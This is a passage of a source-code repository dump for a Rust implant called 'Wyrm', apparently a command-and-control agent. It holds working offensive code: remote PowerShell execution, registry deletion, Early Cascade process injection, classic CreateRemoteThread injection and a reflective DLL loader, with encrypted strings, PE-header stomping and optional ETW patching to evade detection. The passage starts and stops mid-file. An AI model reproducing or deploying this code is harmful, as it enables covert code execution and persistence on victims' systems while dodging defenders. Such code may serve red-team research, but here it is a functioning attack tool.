u64::from_le_bytes(value[0..8].try_into().unwrap()).to_string()\n}\n\nfn val_bytes_to_str(value: &Value) -> String {\n    let mut builder = String::new();\n    for b in value.to_vec() {\n        builder.push_str(&format!(\"{b:#X}, \"));\n    }\n\n    // Trim the last whitespace + comma\n    let len = builder.len();\n    let builder = builder[0..len - 2].to_string();\n\n    builder\n}\n\nfn val_string_to_str(value: &[u8]) -> String {\n    if value.len() < 2 {\n        return String::new();\n    }\n\n    let u16_slice = unsafe { from_raw_parts(value.as_ptr() as *const u16, value.len() / 2) };\n    String::from_utf16_lossy(u16_slice)\n}\n\nfn strip_hive<'a>(path: &'a str) -> Result<&'a str, RegistryError> {\n    let hive = match path.split_once(r\"\\\") {\n        Some(s) => s.1,\n        None => return Err(RegistryError::CannotExtractKey),\n    };\n\n    Ok(hive)\n}\n\n/// Gets the hive from a given input str\nfn extract_hive_from_str<'a>(path: &'a str) -> Result<&'a Key, RegistryError> {\n    let hive = match path.split_once(r\"\\\") {\n        Some(s) => s.0,\n        None => return Err(RegistryError::CannotExtractKey),\n    };\n\n    let key = match hive {\n        \"HKCU\" => CURRENT_USER,\n        \"HKEY_CURRENT_USER\" => CURRENT_USER,\n        \"HKLM\" => LOCAL_MACHINE,\n        \"HKEY_LOCAL_MACHINE\" => LOCAL_MACHINE,\n        \"HKCR\" => CLASSES_ROOT,\n        \"HKEY_CLASSES_ROOT\" => CLASSES_ROOT,\n        \"HKU\" => USERS,\n        \"HKEY_USERS\" => USERS,\n        _ => return Err(RegistryError::CannotExtractKey),\n    };\n\n    Ok(key)\n}\n\npub enum RegistryError {\n    CannotExtractKey,\n}\n\nfn get_key_strip_hive<'a>(path: &'a str) -> Option<(&'a Key, &'a str)> {\n    let key = match extract_hive_from_str(path) {\n        Ok(k) => k,\n        Err(_) => return None,\n    };\n\n    let path_stripped = match strip_hive(path) {\n        Ok(p) => p,\n        Err(_) => {\n            return None;\n        }\n    };\n\n    Some((key, path_stripped))\n}\n\nfn delete_key(path: String) -> Option<WyrmResult<String>> {\n    //\n    // Try open the hive, in the event of an error - return\n    //\n    let (key, path_stripped) = match get_key_strip_hive(&path) {\n        Some((k, p)) => (k, p),\n        None => {\n            return Some(WyrmResult::Err::<String>(\n                sc!(\"Bad data - could not find matching hive.\", 162).unwrap(),\n            ));\n        }\n    };\n\n    if let Err(e) = key.remove_tree(path_stripped) {\n        return Some(WyrmResult::Err::<String>(format!(\n            \"{} {path}. {e}\",\n            sc!(\"Could not delete key, searching for: \", 162).unwrap(),\n        )));\n    };\n\n    return Some(WyrmResult::Ok::<String>(sc!(\"Deleted key.\", 162).unwrap()));\n}\n\nfn delete_reg_value(path: String, value: String) -> Option<WyrmResult<String>> {\n    //\n    // Try open the hive, in the event of an error - return\n    //\n    let (key, path_stripped) = match get_key_strip_hive(&path) {\n        Some((k, p)) => (k, p),\n        None => {\n            return Some(WyrmResult::Err::<String>(\n                sc!(\"Bad data - could not find matching hive.\", 162).unwrap(),\n            ));\n        }\n    };\n\n    let open_key = match key.options().read().write().open(path_stripped) {\n        Ok(k) => k,\n        Err(e) => {\n            let msg = format!(\"{} {path} - {e}\", sc!(\"Could not open key.\", 19).unwrap());\n\n            return Some(WyrmResult::Err(msg));\n        }\n    };\n\n    if let Err(e) = open_key.remove_value(value) {\n        return Some(WyrmResult::Err::<String>(format!(\n            \"{} {e}\",\n            sc!(\"Could not delete key. Error: \", 162).unwrap(),\n        )));\n    };\n\n    return Some(WyrmResult::Ok::<String>(sc!(\"Deleted key.\", 162).unwrap()));\n}\n"
  },
  {
    "path": "implant/src/native/shell.rs",
    "content": "use std::process::Command;\n\nuse serde::Serialize;\nuse shared::tasks::PowershellOutput;\n\nuse crate::wyrm::Wyrm;\n\npub fn run_powershell(command: &Option<String>, implant: &Wyrm) -> Option<impl Serialize + use<>> {\n    let command = command.as_ref()?;\n\n    let output = Command::new(\"powershell\")\n        .arg(command)\n        .current_dir(&implant.current_working_directory)\n        .output()\n        .ok()?;\n\n    let stdout = String::from_utf8_lossy(&output.stdout).to_string();\n    let stderr = String::from_utf8_lossy(&output.stderr).to_string();\n\n    let stdout = if stdout.is_empty() {\n        None\n    } else {\n        Some(stdout)\n    };\n\n    let stderr = if stderr.is_empty() {\n        None\n    } else {\n        Some(stderr)\n    };\n\n    Some(PowershellOutput { stdout, stderr })\n}\n"
  },
  {
    "path": "implant/src/spawn_inject/early_cascade.rs",
    "content": "use std::{ffi::c_void, ptr::null_mut};\n\nuse shared::tasks::WyrmResult;\nuse shared_no_std::{\n    export_resolver::{ExportError, find_entrypoint_from_unmapped_image},\n    memory::{EarlyCascadePointers, locate_shim_pointers},\n};\nuse str_crypter::{decrypt_string, sc};\nuse windows_sys::Win32::{\n    Foundation::{CloseHandle, FALSE, GetLastError, HANDLE},\n    System::{\n        Diagnostics::Debug::WriteProcessMemory,\n        Memory::{\n            MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, VirtualAllocEx,\n            VirtualProtectEx,\n        },\n        Threading::{\n            CREATE_SUSPENDED, CreateProcessA, GetProcessId, PROCESS_INFORMATION, ResumeThread,\n            STARTUPINFOA,\n        },\n    },\n};\n\nuse crate::{\n    dbgprint,\n    utils::{console::print_failed, pe_stomp::stomp_pe_header_bytes},\n};\n\npub(super) fn early_cascade_spawn_child(mut buf: Vec<u8>, spawn_as: &str) -> WyrmResult<String> {\n    //\n    // Create the process in a suspended state, using the image specified by either the user (TODO) or\n    // svchost as the default image.\n    //\n    let mut pi = PROCESS_INFORMATION::default();\n    let mut si = STARTUPINFOA::default();\n    si.cb = size_of::<STARTUPINFOA>() as u32;\n\n    let spawn_as = if !spawn_as.ends_with('\\0') {\n        let mut s = spawn_as.to_string();\n        s.push('\\0');\n        s\n    } else {\n        spawn_as.to_string()\n    };\n\n    let result_create_process = unsafe {\n        CreateProcessA(\n            null_mut(),\n            spawn_as.as_ptr() as _,\n            null_mut(),\n            null_mut(),\n            FALSE,\n            CREATE_SUSPENDED,\n            null_mut(),\n            null_mut(),\n            &si as *const STARTUPINFOA,\n            &mut pi as *mut PROCESS_INFORMATION,\n        )\n    };\n\n    // Check if we were successful..\n    if result_create_process == 0 {\n        let msg = format!(\n            \"{} {:#X}\",\n            sc!(\"Failed to create process. Error code:\", 71).unwrap(),\n            unsafe { GetLastError() }\n        );\n\n        #[cfg(debug_assertions)]\n        {\n            use crate::utils::console::print_failed;\n\n            print_failed(&msg);\n        }\n\n        return WyrmResult::Err::<String>(msg);\n    }\n\n    //\n    // Allocate the memory + copy our process image in (stomping some indicators in the process of)\n    //\n\n    let p_alloc = match write_image_rw(pi.hProcess, &mut buf) {\n        Ok(p) => p,\n        Err(e) => {\n            let msg = format!(\n                \"{} {e:#X}\",\n                sc!(\"Failed to write process memory:\", 71).unwrap()\n            );\n\n            dbgprint!(\"{}\", msg);\n\n            unsafe { CloseHandle(pi.hThread) };\n            unsafe { CloseHandle(pi.hProcess) };\n\n            return WyrmResult::Err::<String>(msg);\n        }\n    };\n\n    //\n    // Now the image is loaded in memory; we need to find the `Shim` export which is a small stub that sets the\n    // stage for the rDLL stub to run in the newly created process.\n    //\n\n    let p_start = match find_entrypoint_from_unmapped_image(&buf, p_alloc as _, \"Shim\") {\n        Ok(p) => p,\n        Err(e) => {\n            unsafe { CloseHandle(pi.hThread) };\n            unsafe { CloseHandle(pi.hProcess) };\n\n            let msg = match e {\n                ExportError::ImageTooSmall => sc!(\"ImageTooSmall\", 19).unwrap(),\n                ExportError::ImageUnaligned => sc!(\"ImageUnaligned\", 19).unwrap(),\n                ExportError::ExportNotFound => sc!(\"ExportNotFound\", 19).unwrap(),\n                ExportError::BadImageDelta => sc!(\"BadImageDelta\", 19).unwrap(),\n            };\n\n            #[cfg(debug_assertions)]\n            {\n                use crate::utils::console::print_failed;\n\n                print_failed(&msg);\n            }\n\n            return WyrmResult::Err(msg);\n        }\n    };\n\n    // rotr it for the ntdll pointer encryption compliance\n    let p_start = encode_system_ptr(p_start);\n\n    //\n    // Mark memory RWX\n    //\n\n    let mut old_protect = 0;\n    let _ = unsafe {\n        VirtualProtectEx(\n            pi.hProcess,\n            p_alloc,\n            buf.len(),\n            PAGE_EXECUTE_READWRITE,\n            &mut old_protect,\n        )\n    };\n\n    let Ok(shim_addresses) = locate_shim_pointers() else {\n        unsafe { CloseHandle(pi.hThread) };\n        unsafe { CloseHandle(pi.hProcess) };\n        let msg = sc!(\"Could not find shim addresses.\", 179).unwrap();\n        dbgprint!(\"{}\", msg);\n        return WyrmResult::Err(msg);\n    };\n\n    if let Err(e) = execute_early_cascade(shim_addresses, pi.hProcess, p_start) {\n        unsafe { CloseHandle(pi.hThread) };\n        unsafe { CloseHandle(pi.hProcess) };\n        dbgprint!(\"{}\", e);\n        return WyrmResult::Err(e);\n    }\n\n    unsafe { ResumeThread(pi.hThread) };\n\n    unsafe { CloseHandle(pi.hThread) };\n    unsafe { CloseHandle(pi.hProcess) };\n\n    let ok_msg = sc!(\"Process created via Early Cascade Injection.\", 19).unwrap();\n    dbgprint!(\"{}\", ok_msg);\n    WyrmResult::Ok(ok_msg)\n}\n\n/// Overwrites addresses in the target process which are required to enable the Early Cascade technique as documented:\n/// https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/\nfn execute_early_cascade(\n    ptrs: EarlyCascadePointers,\n    h_proc: HANDLE,\n    stub_addr: *const c_void,\n) -> Result<(), String> {\n    //\n    // Patch g_pfnSE_DllLoaded to point to the `Shim` bootstrap stub in the rDLL\n    //\n    let mut bytes_written = 0;\n    let buf = stub_addr as usize;\n\n    let result = unsafe {\n        WriteProcessMemory(\n            h_proc,\n            ptrs.p_g_pfnse_dll_loaded,\n            &buf as *const _ as *const _,\n            size_of::<usize>(),\n            &mut bytes_written,\n        )\n    };\n\n    if result == 0 {\n        let gle = unsafe { GetLastError() };\n        let msg = format!(\n            \"{} {gle:#X}\",\n            sc!(\"Failed to patch p_g_pfnse_dll_loaded. Win32 error:\", 104).unwrap()\n        );\n\n        return Err(msg);\n    }\n\n    //\n    // Patch g_ShimsEnabled to = 1 to enable the mechanism on process start\n    //\n\n    let mut bytes_written = 0;\n    let buf = 1u8;\n\n    let result = unsafe {\n        WriteProcessMemory(\n            h_proc,\n            ptrs.p_g_shims_enabled as _,\n            &buf as *const _ as *const _,\n            1,\n            &mut bytes_written,\n        )\n    };\n\n    if result == 0 {\n        let gle = unsafe { GetLastError() };\n        let msg = format!(\n            \"{} {gle:#X}\",\n            sc!(\"Failed to patch p_g_shims_enabled. Win32 error:\", 104).unwrap()\n        );\n\n        return Err(msg);\n    }\n\n    Ok(())\n}\n\n/// Allocates and writes memory pages in a remote process with `PAGE_READWRITE` protection\n/// with the content of some user specified buffer.\n///\n/// # Returns\n/// If successful will return the address of the allocation; if it fails, will return the error\n/// produced from calling `GetLastError`\nfn write_image_rw(h_process: HANDLE, buf: &mut Vec<u8>) -> Result<*const c_void, u32> {\n    let pid = unsafe { GetProcessId(h_process) };\n    if pid == 0 {\n        let gle = unsafe { GetLastError() };\n        return Err(gle);\n    }\n\n    let p_alloc = unsafe {\n        VirtualAllocEx(\n            h_process,\n            null_mut(),\n            buf.len(),\n            MEM_COMMIT | MEM_RESERVE,\n            PAGE_READWRITE,\n        )\n    };\n\n    if p_alloc.is_null() {\n        return Err(unsafe { GetLastError() });\n    }\n\n    //\n    // Before copying the memory we will stomp some indicators that we are injecting a PE\n    // such as the MZ and \"This program..\"\n    //\n    stomp_pe_header_bytes(buf);\n\n    //\n    // Now write the memory\n    //\n\n    let res =\n        unsafe { WriteProcessMemory(h_process, p_alloc, buf.as_ptr() as _, buf.len(), null_mut()) };\n\n    if res == 0 {\n        print_failed(sc!(\"Failed to write process memory for command spawn.\", 86).unwrap());\n        return Err(unsafe { GetLastError() });\n    }\n\n    Ok(p_alloc)\n}\n\n// Thanks to   ->   https://github.com/0xNinjaCyclone/EarlyCascade/blob/main/main.c#L82\n//             ->   https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html\nfn encode_system_ptr(ptr: *const c_void) -> *const c_void {\n    //\n    // from the blog:\n    // note: since many ntdll pointers are encrypted, we can’t just set the pointer to our\n    // target address. We have to encrypt it first. Luckily, the key is the same value and\n    // stored at the same location across all processes.\n    //\n\n    // get pointer cookie from SharedUserData!Cookie (0x330)\n    let cookie = unsafe { *(0x7FFE0330 as *const u32) };\n\n    // rotr64\n    let ptr_val = ptr as usize;\n    let xored = cookie as usize ^ ptr_val;\n    let rotated = xored.rotate_right((cookie & 0x3F) as u32);\n\n    rotated as *const c_void\n}\n"
  },
  {
    "path": "implant/src/spawn_inject/injection.rs",
    "content": "use std::{ffi::c_void, mem::transmute, ptr::null_mut};\n\nuse shared::tasks::WyrmResult;\nuse shared_no_std::export_resolver::{\n    ExportError, calculate_memory_delta, find_entrypoint_from_unmapped_image,\n    find_export_from_unmapped_file,\n};\nuse str_crypter::{decrypt_string, sc};\nuse windows_sys::Win32::{\n    Foundation::{CloseHandle, FALSE, GetLastError, INVALID_HANDLE_VALUE},\n    System::{\n        Diagnostics::Debug::WriteProcessMemory,\n        Memory::{\n            MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, VirtualAllocEx,\n            VirtualProtectEx,\n        },\n        Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS},\n    },\n};\n\nuse crate::utils::console::print_info;\n\npub fn virgin_inject(buf: &[u8], pid: u32) -> WyrmResult<String> {\n    let h_process = unsafe { OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid) };\n\n    if h_process.is_null() || h_process == INVALID_HANDLE_VALUE {\n        let gle = unsafe { GetLastError() };\n        return WyrmResult::Err(format!(\n            \"{} {gle:#X}\",\n            sc!(\"Failed to open process.\", 176).unwrap()\n        ));\n    }\n\n    let p_alloc = unsafe {\n        VirtualAllocEx(\n            h_process,\n            null_mut(),\n            buf.len(),\n            MEM_COMMIT | MEM_RESERVE,\n            PAGE_READWRITE,\n        )\n    };\n\n    if p_alloc.is_null() {\n        let gle = unsafe { GetLastError() };\n        unsafe { CloseHandle(h_process) };\n        return WyrmResult::Err(format!(\n            \"{} {gle:#X}\",\n            sc!(\"Failed to allocate RW memory.\", 173).unwrap()\n        ));\n    }\n\n    //\n    // Write the DLL content\n    //\n    let mut out = 0;\n    unsafe { WriteProcessMemory(h_process, p_alloc, buf.as_ptr() as _, buf.len(), &mut out) };\n\n    if out == 0 {\n        unsafe { CloseHandle(h_process) };\n        return WyrmResult::Err(sc!(\"Failed to write remote memory.\", 173).unwrap());\n    }\n\n    //\n    // Resolve the entry address\n    //\n    let p_entry = match find_entrypoint_from_unmapped_image(&buf, p_alloc, \"Load\") {\n        Ok(p) => unsafe { transmute::<_, extern \"system\" fn(_: *mut core::ffi::c_void) -> u32>(p) },\n        Err(e) => {\n            unsafe { CloseHandle(h_process) };\n            let msg = match e {\n                ExportError::ImageTooSmall => sc!(\"ImageTooSmall\", 19).unwrap(),\n                ExportError::ImageUnaligned => sc!(\"ImageUnaligned\", 19).unwrap(),\n                ExportError::ExportNotFound => sc!(\"ExportNotFound\", 19).unwrap(),\n                ExportError::BadImageDelta => sc!(\"BadImageDelta\", 19).unwrap(),\n            };\n\n            #[cfg(debug_assertions)]\n            {\n                use crate::utils::console::print_failed;\n\n                print_failed(&msg);\n            }\n\n            return WyrmResult::Err(msg);\n        }\n    };\n\n    //\n    // Mark mem rwx\n    //\n    let mut old_protect = 0;\n    let vp = unsafe {\n        VirtualProtectEx(\n            h_process,\n            p_alloc,\n            buf.len(),\n            PAGE_EXECUTE_READWRITE,\n            &mut old_protect,\n        )\n    };\n\n    if vp == 0 {\n        let gle = unsafe { GetLastError() };\n        unsafe { CloseHandle(h_process) };\n        return WyrmResult::Err(format!(\n            \"{} {gle:#X}\",\n            sc!(\"Failed to change protection on remote memory.\", 173).unwrap()\n        ));\n    }\n\n    let mut thread_id = 0;\n\n    #[cfg(debug_assertions)]\n    {\n        print_info(format!(\"Alloc: {:p}, load_fn: {:p}\", p_alloc, p_entry));\n    }\n\n    let h_thread = unsafe {\n        CreateRemoteThread(\n            h_process,\n            null_mut(),\n            0,\n            Some(p_entry),\n            null_mut(),\n            0,\n            &mut thread_id,\n        )\n    };\n\n    if h_thread.is_null() {\n        let gle = unsafe { GetLastError() };\n        unsafe { CloseHandle(h_process) };\n        return WyrmResult::Err(format!(\n            \"{} {gle:#X}\",\n            sc!(\"Failed to create remote thread.\", 173).unwrap()\n        ));\n    }\n\n    WyrmResult::Ok(format!(\n        \"{} {pid}\",\n        sc!(\"Injected into process\", 159).unwrap()\n    ))\n}\n"
  },
  {
    "path": "implant/src/spawn_inject/mod.rs",
    "content": "//! A module for loading / injecting Wyrm into other / new processes.\n\nuse shared::tasks::WyrmResult;\n\nuse crate::spawn_inject::{early_cascade::early_cascade_spawn_child, injection::virgin_inject};\n\npub mod early_cascade;\nmod injection;\n\npub enum SpawnMethod {\n    EarlyCascade,\n}\n\npub enum InjectMethod {\n    /// Classic CreateRemoteThread...\n    Virgin,\n}\n\npub struct Inject;\n\nimpl Inject {\n    pub fn inject_wyrm(buf: &[u8], method: InjectMethod, pid: u32) -> WyrmResult<String> {\n        match method {\n            InjectMethod::Virgin => virgin_inject(buf, pid),\n        }\n    }\n}\n\npub struct Spawn;\n\nimpl Spawn {\n    pub fn spawn_child(buf: Vec<u8>, method: SpawnMethod, spawn_as: &str) -> WyrmResult<String> {\n        match method {\n            SpawnMethod::EarlyCascade => early_cascade_spawn_child(buf, spawn_as),\n        }\n    }\n}\n"
  },
  {
    "path": "implant/src/stubs/mod.rs",
    "content": "//! A module containing publicly exported stubs that are 'context independent'\n\npub mod rdi;\npub mod shim;\n"
  },
  {
    "path": "implant/src/stubs/rdi.rs",
    "content": "//! Reflective DLL injector for Wyrm.\n//!\n//! This assumes that the DLL is loaded into memory by a wrapper around us which has its own base\n//! address.\n//!\n//! This module should be FULLY NO_STD.\n\nuse core::{\n    ffi::c_void,\n    mem::transmute,\n    ptr::{copy_nonoverlapping, null_mut, read_unaligned, write_unaligned},\n};\n\nuse shared_no_std::export_resolver::{self, find_export_address};\nuse windows_sys::{\n    Win32::{\n        Foundation::{FARPROC, HANDLE, HMODULE},\n        System::{\n            Diagnostics::Debug::{\n                IMAGE_DATA_DIRECTORY, IMAGE_DIRECTORY_ENTRY_BASERELOC,\n                IMAGE_DIRECTORY_ENTRY_IMPORT, IMAGE_NT_HEADERS64, IMAGE_SCN_MEM_EXECUTE,\n                IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE, IMAGE_SECTION_HEADER,\n            },\n            Memory::{\n                MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE,\n                PAGE_NOACCESS, PAGE_PROTECTION_FLAGS, PAGE_READONLY, PAGE_READWRITE,\n                PAGE_WRITECOPY, VIRTUAL_ALLOCATION_TYPE,\n            },\n            SystemServices::{\n                IMAGE_BASE_RELOCATION, IMAGE_DOS_HEADER, IMAGE_IMPORT_DESCRIPTOR,\n                IMAGE_ORDINAL_FLAG64, IMAGE_REL_BASED_DIR64, IMAGE_REL_BASED_HIGHLOW,\n            },\n            WindowsProgramming::IMAGE_THUNK_DATA64,\n        },\n    },\n    core::PCSTR,\n};\n\n//\n// FFI definitions for functions we require for the RDI to work; note these do NOT use evasion techniques such as\n// direct/indirect syscalls or any other magic (for now, maybe they will be locked features).\n//\ntype VirtualAlloc = unsafe extern \"system\" fn(\n    *const core::ffi::c_void,\n    usize,\n    VIRTUAL_ALLOCATION_TYPE,\n    PAGE_PROTECTION_FLAGS,\n) -> *mut c_void;\n\ntype LoadLibraryA = unsafe extern \"system\" fn(PCSTR) -> HMODULE;\n\ntype VirtualProtect = unsafe extern \"system\" fn(\n    *const core::ffi::c_void,\n    usize,\n    PAGE_PROTECTION_FLAGS,\n    *mut PAGE_PROTECTION_FLAGS,\n) -> windows_sys::core::BOOL;\n\ntype GetProcAddress = unsafe extern \"system\" fn(HMODULE, PCSTR) -> FARPROC;\n\ntype FlushInstructionCache =\n    unsafe extern \"system\" fn(HANDLE, *mut c_void, usize) -> windows_sys::core::BOOL;\n\ntype GetCurrentProcess = unsafe extern \"system\" fn() -> HANDLE;\n\n/// Function pointers for the Reflective DLL Injector to use.\n#[allow(non_snake_case)]\nstruct RdiExports {\n    LoadLibraryA: LoadLibraryA,\n    VirtualAlloc: VirtualAlloc,\n    VirtualProtect: VirtualProtect,\n    GetProcAddresS: GetProcAddress,\n    FlushInstructionCache: FlushInstructionCache,\n    GetCurrentProcess: GetCurrentProcess,\n}\n\nimpl RdiExports {\n    /// Construct a new [`RdiExports`] by resolving the address of the respective functions in their DLL. Note that these\n    /// DLLs either must already be loaded, or the [`RdiExports::new`] function needs to be amended to load those DLLs in\n    /// via LoadLibrary or other mechanism to be successful.\n    ///\n    /// If the function fails to resolve all functions, it will return `None`\n    #[inline(always)]\n    fn new() -> Option<Self> {\n        //\n        // Resolve the function addresses from the respective DLL's, note these should be loaded in the process or this\n        // will fail\n        //\n        let lla = export_resolver::resolve_address(\"kernel32.dll\", \"LoadLibraryA\", None)\n            .unwrap_or_default();\n\n        let virtual_alloc = export_resolver::resolve_address(\"kernel32.dll\", \"VirtualAlloc\", None)\n            .unwrap_or_default();\n\n        let vp = export_resolver::resolve_address(\"kernel32.dll\", \"VirtualProtect\", None)\n            .unwrap_or_default();\n\n        let gpa = export_resolver::resolve_address(\"kernel32.dll\", \"GetProcAddress\", None)\n            .unwrap_or_default();\n\n        let fic = export_resolver::resolve_address(\"kernel32.dll\", \"FlushInstructionCache\", None)\n            .unwrap_or_default();\n\n        let curproc = export_resolver::resolve_address(\"kernel32.dll\", \"GetCurrentProcess\", None)\n            .unwrap_or_default();\n\n        //\n        // Validate everything was resolved correctly\n        //\n        if lla.is_null()\n            || virtual_alloc.is_null()\n            || vp.is_null()\n            || gpa.is_null()\n            || fic.is_null()\n            || curproc.is_null()\n        {\n            return None;\n        }\n\n        unsafe {\n            //\n            // Cast as fn ptrs correctly\n            //\n            let lla = transmute::<_, LoadLibraryA>(lla);\n            let virtual_alloc = transmute::<_, VirtualAlloc>(virtual_alloc);\n            let vp = transmute::<_, VirtualProtect>(vp);\n            let gpa = transmute::<_, GetProcAddress>(gpa);\n            let fic = transmute::<_, FlushInstructionCache>(fic);\n            let curproc = transmute::<_, GetCurrentProcess>(curproc);\n\n            Some(Self {\n                LoadLibraryA: lla,\n                VirtualAlloc: virtual_alloc,\n                VirtualProtect: vp,\n                GetProcAddresS: gpa,\n                FlushInstructionCache: fic,\n                GetCurrentProcess: curproc,\n            })\n        }\n    }\n}\n\n#[repr(u32)]\nenum RdiErrorCodes {\n    Success = 0,\n    CouldNotParseExports,\n    RelocationsNull,\n    MalformedVirtualAddress,\n    ImportDescriptorNull,\n    NoEntry,\n}\n\n/// The entrypoint for the reflective DLL loading. We must take in the base address of our module that\n/// we wish to do work on. Any loader must call our Load export with the allocation base address.\n#[unsafe(no_mangle)]\npub unsafe extern \"system\" fn Load(image_base: *mut c_void) -> u32 {\n    //\n    // Resolve function pointers for Windows API fns we need in the RDI\n    //\n    let Some(exports) = RdiExports::new() else {\n        // We could not resolve all the required function pointers\n        return RdiErrorCodes::CouldNotParseExports as _;\n    };\n\n    #[cfg(feature = \"patch_etw\")]\n    {\n        nostd_patch_etw_current_process(&exports);\n    }\n\n    // If we successfully get an image base from ourselves, use that\n    let image_base = match calculate_image_base() {\n        Some(img) => img,\n        None => image_base,\n    };\n\n    //\n    // Allocate fresh memory and copy sections over assuming we are from an unaligned region of memory\n    //\n    let image_base = unsafe {\n        let dos_header = read_unaligned(image_base as *const IMAGE_DOS_HEADER);\n\n        let nt = read_unaligned(\n            image_base.add(dos_header.e_lfanew as usize) as *const IMAGE_NT_HEADERS64\n        );\n\n        let p_alloc = (exports.VirtualAlloc)(\n            null_mut(),\n            nt.OptionalHeader.SizeOfImage as usize,\n            MEM_COMMIT | MEM_RESERVE,\n            PAGE_READWRITE,\n        );\n\n        if p_alloc.is_null() {\n            return 0xff;\n        }\n\n        let nt_ptr = image_base.add(dos_header.e_lfanew as usize) as *const u8;\n        write_payload(p_alloc, image_base as *mut u8, nt_ptr, &nt);\n\n        p_alloc\n    };\n\n    //\n    // Parse the headers\n    //\n    let dos_header = unsafe { read_unaligned(image_base as *const IMAGE_DOS_HEADER) };\n    let nt_offset = dos_header.e_lfanew as usize;\n    let p_nt_headers = (image_base as usize + nt_offset) as *mut IMAGE_NT_HEADERS64;\n\n    //\n    // process image relocations\n    //\n    let data_dir = unsafe { read_unaligned(p_nt_headers) }\n        .OptionalHeader\n        .DataDirectory;\n\n    let relocations_ptr = ((image_base as usize)\n        + data_dir[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].VirtualAddress as usize)\n        as *mut IMAGE_BASE_RELOCATION;\n\n    if relocations_ptr.is_null() {\n        return RdiErrorCodes::RelocationsNull as _;\n    }\n\n    process_relocations(image_base, p_nt_headers, &data_dir);\n\n    //\n    // Resolve imports from IAT\n    //\n    if data_dir[IMAGE_DIRECTORY_ENTRY_IMPORT as usize].VirtualAddress == 0 {\n        return RdiErrorCodes::MalformedVirtualAddress as _;\n    }\n\n    let import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR = get_addr_as_rva(\n        image_base as _,\n        data_dir[IMAGE_DIRECTORY_ENTRY_IMPORT as usize].VirtualAddress as usize,\n    );\n    if import_descriptor_ptr.is_null() {\n        return RdiErrorCodes::ImportDescriptorNull as _;\n    }\n\n    //\n    // Resolve the import address table\n    //\n    patch_iat(image_base, import_descriptor_ptr, &exports);\n\n    relocate_and_commit(image_base, p_nt_headers, &exports);\n\n    // Search by the export of the actual Start from the RDL\n    if let Some(f) = find_export_address(image_base, p_nt_headers, \"Start\") {\n        unsafe { f() };\n        RdiErrorCodes::Success as _\n    } else {\n        RdiErrorCodes::NoEntry as _\n    }\n}\n\n#[inline(always)]\nfn relocate_and_commit(\n    p_base: *mut c_void,\n    p_nt_headers: *mut IMAGE_NT_HEADERS64,\n    exports: &RdiExports,\n) {\n    unsafe {\n        // RVA of the first IMAGE_SECTION_HEADER in the PE file\n        let section_header_ptr = get_addr_as_rva::<IMAGE_SECTION_HEADER>(\n            core::ptr::addr_of!((*p_nt_headers).OptionalHeader) as *const _ as _,\n            (*p_nt_headers).FileHeader.SizeOfOptionalHeader as usize,\n        );\n\n        //\n        // Loop through each section in the PE (.text, .rdata etc) and set the expected protections\n        //\n        for i in 0..(*p_nt_headers).FileHeader.NumberOfSections {\n            let mut protect = 0;\n            let mut old_protect = 0;\n\n            let p_section_header = read_unaligned(section_header_ptr.add(i as _));\n            // A pointer to where it is actually loaded (base + RVA)\n            let p_target = p_base\n                .cast::<u8>()\n                .add(p_section_header.VirtualAddress as usize);\n            let section_raw_size = p_section_header.SizeOfRawData as usize;\n\n            //\n            // Now apply the relevant flags depending upon the intention\n            //\n            let is_x = p_section_header.Characteristics & IMAGE_SCN_MEM_EXECUTE != 0;\n            let is_r = p_section_header.Characteristics & IMAGE_SCN_MEM_READ != 0;\n            let is_w = p_section_header.Characteristics & IMAGE_SCN_MEM_WRITE != 0;\n\n            if !is_x && !is_r && !is_w {\n                protect = PAGE_NOACCESS;\n            }\n\n            if is_w {\n                protect = PAGE_WRITECOPY;\n            }\n\n            if is_r {\n                protect = PAGE_READONLY;\n            }\n\n            if is_w && is_r {\n                protect = PAGE_READWRITE;\n            }\n\n            if is_x {\n                protect = PAGE_EXECUTE;\n            }\n\n            if is_x && is_r {\n                protect = PAGE_EXECUTE_READ;\n            }\n\n            if is_x && is_w && is_r {\n                protect = PAGE_EXECUTE_READWRITE;\n            }\n\n            // Change the protection\n            (exports.VirtualProtect)(\n                p_target as *const _,\n                section_raw_size,\n                protect,\n                &mut old_protect,\n            );\n        }\n\n        // Flush to prevent stale instruction cache\n        (exports.FlushInstructionCache)((exports.GetCurrentProcess)(), null_mut(), 0);\n    }\n}\n\n#[inline(always)]\nfn process_relocations(\n    p_image_base: *mut c_void,\n    p_nt_headers: *mut IMAGE_NT_HEADERS64,\n    data_dir: &[IMAGE_DATA_DIRECTORY; 16],\n) {\n    unsafe {\n        // Calculate the diff between where the DLL actually loaded vs where it was compiled to load\n        let load_diff = p_image_base as isize - (*p_nt_headers).OptionalHeader.ImageBase as isize;\n\n        let reloc_rva = data_dir[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].VirtualAddress as usize;\n        let reloc_size = data_dir[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].Size as usize;\n\n        // Calculate the actual addresses for the start and end of the relocation table\n        let reloc_start = (p_image_base as usize + reloc_rva) as usize;\n        let reloc_end = reloc_start + reloc_size;\n\n        let mut p_img_base_relocation = reloc_start as *mut IMAGE_BASE_RELOCATION;\n\n        //\n        // iterate through each IMAGE_BASE_RELOCATION block in the relocation table\n        //\n        while (p_img_base_relocation as usize) < reloc_end\n            && (*p_img_base_relocation).SizeOfBlock as usize >= size_of::<IMAGE_BASE_RELOCATION>()\n            && (*p_img_base_relocation).VirtualAddress != 0\n        {\n            // First relocation item\n            let item = (p_img_base_relocation as *mut u8).add(size_of::<IMAGE_BASE_RELOCATION>())\n                as *const u16;\n            // How many relocations to process\n            let num_relocations = ((*p_img_base_relocation).SizeOfBlock as usize\n                - size_of::<IMAGE_BASE_RELOCATION>())\n                / size_of::<u16>();\n\n            //\n            // Process each relocation table\n            //\n            for i in 0..num_relocations {\n                // read the entry (16 bits)\n                let entry = read_unaligned(item.add(i));\n                // Extract the 